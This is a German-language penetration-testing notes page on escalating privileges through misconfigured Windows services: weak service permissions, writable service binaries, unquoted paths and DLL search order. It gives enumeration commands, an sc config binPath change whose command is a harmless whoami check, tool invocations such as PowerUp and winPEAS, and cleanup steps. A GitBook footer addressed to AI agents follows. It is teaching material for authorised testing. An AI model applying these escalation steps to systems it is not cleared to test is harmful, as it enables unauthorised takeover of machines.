> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md).

# Fehlkonfigurationen von Windows-Diensten

Dienste sind einer der häufigsten Windows-Pfade zur Privilegieneskalation, weil sie oft ausgeführt werden als `LocalSystem` während sie auf Dateien oder Berechtigungen verweisen, die normale Benutzer beeinflussen können.

## Was zu bestätigen ist

Bevor Sie etwas ändern, bestätigen Sie vier Dinge:

* Der Dienst wird unter einem privilegierten Konto ausgeführt, z. B. `LocalSystem`, `LocalService`, `NetworkService`, oder als lokaler/Domänenadministrator.
* Sie können die Dienstkonfiguration, die ausführbare Dienstdatei oder einen übergeordneten Pfad ändern, der beim Start verwendet wird.
* Sie können den Dienst neu starten, die Anwendung auslösen oder auf einen Neustart warten.
* Pfad und Architektur stimmen mit der Nutzlast oder Prüfbinary überein, die Sie ausführen möchten.

## Dienste auflisten

```cmd
sc query state= all
sc qc <service_name>
sc sdshow <service_name>
wmic service get name,displayname,startname,state,pathname
```

```powershell
Get-WmiObject Win32_Service |
  Select-Object Name,StartName,State,PathName |
  Sort-Object StartName,Name
```

## Schwache Dienstkonfiguration

Wenn Ihr Benutzer den Binärpfad des Dienstes ändern kann und der Dienst erhöht ausgeführt wird, zeigen Sie ihn zunächst auf einen zulässigen Prüfauftrag.

```cmd
sc qc <service_name>
sc config <service_name> binPath= "cmd /c whoami > C:\Windows\Temp\svc-check.txt"
sc stop <service_name>
sc start <service_name>
type C:\Windows\Temp\svc-check.txt
```

AccessChk ist nützlich, um Dienstberechtigungen in einem klareren Format zu lesen:

```cmd
accesschk.exe /accepteula -uwcqv <user_or_group> <service_name>
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
```

Interessante Rechte umfassen `SERVICE_CHANGE_CONFIG`, `SERVICE_START`, `SERVICE_STOP`, sowie breiten Schreibzugriff für `Benutzer`, `Authenticated Users`oder `Everyone`.

## Schreibbare Dienst-Binärdatei

Wenn die ausführbare Dienstdatei beschreibbar ist, bewahren Sie eine Kopie der Originaldatei auf, ersetzen Sie sie nur im vorgesehenen Umfang und stellen Sie sie nach dem Test wieder her.

```cmd
sc qc <service_name>
icacls "C:\Path\To\Service.exe"
copy "C:\Path\To\Service.exe" C:\Windows\Temp\Service.exe.bak
```

```powershell
Get-Acl "C:\Path\To\Service.exe" | Format-List
```

## Nicht in Anführungszeichen gesetzter Dienstpfad

Ein nicht in Anführungszeichen gesetzter Pfad ist interessant, wenn er Leerzeichen enthält und Windows vor dem Erreichen der eigentlichen ausführbaren Datei ein beschreibbares übergeordnetes Verzeichnis durchsuchen kann.

```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
```

Beispiel einer verwundbaren Form:

```
C:\Program Files\Vendor App\Service Folder\service.exe
```

Überprüfen Sie jedes übergeordnete Verzeichnis auf Schreibberechtigungen:

```cmd
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

Mögliche Suchnamen sind:

```
C:\Program.exe
C:\Program Files\Vendor.exe
C:\Program Files\Vendor App\Service.exe
```

## Probleme mit der DLL-Suchreihenfolge

Einige Dienste laden DLLs per Namen statt per vollem Pfad. Das wird ausnutzbar, wenn vor dem legitimen DLL-Standort ein beschreibbares Verzeichnis durchsucht wird.

```cmd
procmon.exe
```

Filtern nach:

```
Prozessname ist <service.exe>
Ergebnis ist NAME NOT FOUND
Pfad endet mit .dll
```

## Automatisierte Prüfungen

```powershell
Import-Module .\PowerUp.ps1
Invoke-AllChecks
```

```cmd
winPEASx64.exe servicesinfo
```

## Bereinigung

```cmd
sc config <service_name> binPath= "<original_binary_path>"
sc start <service_name>
del C:\Windows\Temp\svc-check.txt
```

## Wichtige Punkte

* Ein beschreibbarer Dienst ist nur dann nützlich, wenn er mit höheren Privilegien ausgeführt wird.
* Die Möglichkeit zum Neustart ist wichtig. Ohne sie sollten Sie notieren, ob ein Neustart oder die Nutzung der Anwendung den Dienst auslösen wird.
* Funde zum Dienstpfad sollten den genauen Pfad, Berechtigungsnachweise, das Dienstkonto und die Auslösebedingung enthalten.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
